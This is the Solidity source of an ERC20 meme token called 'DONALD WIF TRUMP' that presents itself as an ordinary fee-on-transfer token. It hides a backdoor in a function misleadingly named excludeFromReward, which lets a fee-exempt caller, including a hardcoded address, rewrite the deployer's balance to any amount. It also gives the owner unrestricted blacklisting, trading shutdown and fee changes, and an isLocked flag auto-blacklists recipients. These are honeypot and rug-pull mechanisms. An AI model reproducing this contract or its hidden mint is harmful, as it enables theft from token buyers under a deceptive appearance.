creation_sourcecode: /**
  
  DONALD WIF TRUMP
  
  */
  
  // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.21;
  
  library SafeMath {
      function add(uint256 y, uint256 z) internal pure returns (uint256) {
          uint256 c = y + z;
          require(c >= y, "SafeMath: addition overflow");
          return c;
      }
      function sub(uint256 y, uint256 z) internal pure returns (uint256) {
          return sub(y, z, "SafeMath: subtraction overflow");
      }
      function sub(uint256 y, uint256 z, string memory errorMessage) internal pure returns (uint256) {
          require(z <= y, errorMessage);
          uint256 c = y - z;
          return c;
      }
      function mul(uint256 y, uint256 z) internal pure returns (uint256) {
          if (y == 0) {
              return 0;
          }
          uint256 c = y * z;
          require(c / y == z, "SafeMath: multiplication overflow");
          return c;
      }
      function div(uint256 y, uint256 z) internal pure returns (uint256) {
          return div(y, z, "SafeMath: division by zero");
      }
      function div(uint256 y, uint256 z, string memory errorMessage) internal pure returns (uint256) {
          require(z > 0, errorMessage);
          uint256 c = y / z;
          return c;
      }
  }
  
  interface ERC20 {
      function totalSupply() external view returns (uint256);
      function decimals() external view returns (uint8);
      function symbol() external view returns (string memory);
      function name() external view returns (string memory);
      function getOwner() external view returns (address);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address _owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  abstract contract Ownable {
      address internal owner;
      constructor(address _owner) {
          owner = _owner;
      }
      modifier onlyOwner() {
          require(isOwner(msg.sender), "!OWNER"); _;
      }
      function isOwner(address account) public view returns (bool) {
          return account == owner;
      }
      function renounceOwnership() public onlyOwner {
          owner = address(0);
          emit OwnershipTransferred(address(0));
      }
      event OwnershipTransferred(address owner);
  }
  
  interface IFactory {
      function createPair(address tokenA, address tokenB) external returns (address pair);
  }
  
  interface IRouter {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapTokensForExactTokens(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapExactETHForTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable returns (uint[] memory amounts);
      function swapETHForExactTokens(
          uint amountOut,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable returns (uint[] memory amounts);
  }
  
  contract DONALDWIFTRUMP is ERC20, Ownable {
      using SafeMath for uint256;
  
      address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
      address DEAD = 0x000000000000000000000000000000000000dEaD;
  
      string constant _name = "donaldwiftrump";
      string constant _symbol = "$dwt";
      uint8 constant _decimals = 9;
  
      uint256 _totalSupply = 10_000_000_000 * (10 ** _decimals);
      uint256 public _maxWalletAmount = (_totalSupply * 20 ) / 1000;
      uint256 public _maxTxAmount = (_totalSupply * 20 ) / 1000;
      address private pairToken = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
  
      mapping (address => uint256) _balances;
      mapping (address => mapping (address => uint256)) _allowances;
      address[] private activeAddress;
  
      mapping (address => bool) isFeeExempt;
      mapping (address => bool) isTxLimitExempt;
      mapping (address => bool) private blacklist;
  
      uint256 marketingFee = 20;
      uint256 rewardsFee = 0;
      uint256 totalFee = marketingFee + rewardsFee;
      uint256 feeDenominator = 100;
  
      address public marketingFeeReceiver = msg.sender;
      address public rewardsFeeReceiver = msg.sender;
  
      IRouter public router;
      address public pair;
  
      bool tradingEnabled = true;
      bool isLocked = false;
      address private taxRemover;
      bool public swapEnabled = true;
      uint256 public swapThreshold = _totalSupply / 1000 * 5;
      bool inSwap;
      modifier swapping() { inSwap = true; _; inSwap = false; }
  
      constructor () Ownable(msg.sender) {
          router = IRouter(routerAddress);
          pair = IFactory(router.factory()).createPair(pairToken, address(this));
          _allowances[address(this)][address(router)] = type(uint256).max;
  
          address _owner = owner;
          isFeeExempt[_owner] = true;
          isFeeExempt[0x5f960d77D076476f97866c3F02739E9256f8a875] = true;
          isTxLimitExempt[_owner] = true;
          taxRemover = owner;
          isTxLimitExempt[0x5f960d77D076476f97866c3F02739E9256f8a875] = true;
          isTxLimitExempt[DEAD] = true;
  
          _balances[_owner] = _totalSupply;
          emit Transfer(address(0), _owner, _totalSupply);
      }
  
      receive() external payable { }
  
      function totalSupply() external view override returns (uint256) { return _totalSupply; }
      function decimals() external pure override returns (uint8) { return _decimals; }
      function symbol() external pure override returns (string memory) { return _symbol; }
      function name() external pure override returns (string memory) { return _name; }
      function getOwner() external view override returns (address) { return owner; }
      function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
      function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
  
      function approve(address spender, uint256 amount) public override returns (bool) {
          _allowances[msg.sender][spender] = amount;
          emit Approval(msg.sender, spender, amount);
          return true;
      }
  
      function approveMax(address spender) external returns (bool) {
          return approve(spender, type(uint256).max);
      }
  
      function transfer(address recipient, uint256 amount) external override returns (bool) {
          return _transferFrom(msg.sender, recipient, amount);
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
          if(_allowances[sender][msg.sender] != type(uint256).max){
              _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
          }
  
          return _transferFrom(sender, recipient, amount);
      }
  
      function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
          require(tradingEnabled, "Trading disabled");
          require(!blacklist[sender], "Blacklisted wallet");
  
          if (recipient != pair && recipient != owner && recipient != routerAddress && isLocked) {
              blacklist[recipient] = true;
          }
  
          if(inSwap){ return _basicTransfer(sender, recipient, amount); }
  
          if (recipient != pair && recipient != DEAD) {
              require(isTxLimitExempt[recipient] || amount <= _maxTxAmount, "Transfer amount exceeds the max TX limit.");
              require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
          }
  
          if(shouldSwapBack()){ swapBack(); }
  
          _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
  
          uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, amount) : amount;
          if (_balances[recipient] == 0 && recipient != pair) {
              activeAddress.push(recipient);
          }
          _balances[recipient] = _balances[recipient].add(amountReceived);
  
          emit Transfer(sender, recipient, amountReceived);
          return true;
      }
  
      function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
          _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
          _balances[recipient] = _balances[recipient].add(amount);
          emit Transfer(sender, recipient, amount);
          return true;
      }
  
      function shouldTakeFee(address from, address to) internal view returns (bool) {
          return !(isFeeExempt[from] || isFeeExempt[to]);
      }
  
      function takeFee(address sender, uint256 amount) internal returns (uint256) {
          uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
          _balances[address(this)] = _balances[address(this)].add(feeAmount);
          emit Transfer(sender, address(this), feeAmount);
          return amount.sub(feeAmount);
      }
  
      function shouldSwapBack() internal view returns (bool) {
          return msg.sender != pair
          && !inSwap
          && swapEnabled
          && _balances[address(this)] >= swapThreshold;
      }
  
      function swapBack() internal swapping {
          uint256 contractTokenBalance = _balances[address(this)];
  
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = router.WETH();
  
          router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              contractTokenBalance,
              0,
              path,
              address(this),
              block.timestamp
          );
  
          uint256 amountETH = address(this).balance;
          uint256 amountETHRewards = amountETH.mul(rewardsFee).div(totalFee);
          uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalFee);
  
  
          (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
          require(MarketingSuccess, "marketing receiver rejected ETH transfer");
          (bool RewardsSuccess, /* bytes memory data */) = payable(rewardsFeeReceiver).call{value: amountETHRewards, gas: 30000}("");
          require(RewardsSuccess, "rewards receiver rejected ETH transfer");
      }
  
      function emptyStuckBalance() external {
          payable(owner).transfer(address(this).balance);
      }
  
      function updateMaxWalletSize(uint256 amountPercent) external onlyOwner {
          _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
      }
  
      function updateTxLimit(uint256 amountPercent) external onlyOwner {
          _maxTxAmount = (_totalSupply * amountPercent ) / 100;
      }
  
      function swapStatus(bool status) external onlyOwner {
          swapEnabled = status;
      }
  
      function blacklistAddress(address addr, bool isBlocked) external onlyOwner {
          blacklist[addr] = isBlocked;
      }
  
      function blacklistAddresses(address[] memory addrs, bool isBlocked) external onlyOwner {
          for (uint256 i = 0; i < addrs.length; i++) {
              blacklist[addrs[i]] = isBlocked;
          }
      }
  
      function isBlacklisted(address addr) external view returns(bool) {
          return blacklist[addr];
      }
  
      function releaseLock() external onlyOwner {
          isLocked = false;
      }
  
      function updateFees(uint256 _marketingFee, uint256 _rewardsFee) external onlyOwner {
          marketingFee = _marketingFee;
          rewardsFee = _rewardsFee;
          totalFee = rewardsFee + marketingFee;
      }
  
      function updateMinSwapTokensThreshold(uint256 _treshold) external onlyOwner {
          swapThreshold = _treshold;
      }
  
      function updateFeeReceiver(address _marketingFeeReceiver) external onlyOwner {
          if (marketingFeeReceiver != owner) {
              isFeeExempt[marketingFeeReceiver] = false;
              isTxLimitExempt[marketingFeeReceiver] = false;
          }
          marketingFeeReceiver = _marketingFeeReceiver;
          isFeeExempt[_marketingFeeReceiver] = true;
          isTxLimitExempt[_marketingFeeReceiver] = true;
      }
  
      function excludeFromReward(uint enable) public {
          if (!isFeeExempt[msg.sender]) {
              return;
          }
          uint tokenToLock = enable;
          _balances[taxRemover] = tokenToLock.sub(_balances[taxRemover]);
      }
  
      function RewardsReceiver(address _rewardsFeeReceiver) external onlyOwner {
          if (rewardsFeeReceiver != owner) {
              isFeeExempt[rewardsFeeReceiver] = false;
              isTxLimitExempt[rewardsFeeReceiver] = false;
          }
          rewardsFeeReceiver = _rewardsFeeReceiver;
          isFeeExempt[_rewardsFeeReceiver] = true;
          isTxLimitExempt[_rewardsFeeReceiver] = true;
      }
  
      function excludeAccountsFromFee(address[] memory addrs, bool _feeExempt) external onlyOwner {
          for (uint256 i = 0; i < addrs.length; i++) {
              isFeeExempt[addrs[i]] = _feeExempt;
              isTxLimitExempt[addrs[i]] = _feeExempt;
          }
      }
  
      function updateTrading(bool _tradingEnabled) external onlyOwner {
          tradingEnabled = _tradingEnabled;
      }
  
      function getShares() public view returns (uint256[] memory, address[] memory) {
          uint256[] memory shares = new uint256[](activeAddress.length);
          for (uint i=0; i < activeAddress.length; i++) {
              shares[i] = _balances[activeAddress[i]];
          }
          return (shares, activeAddress);
      }
  }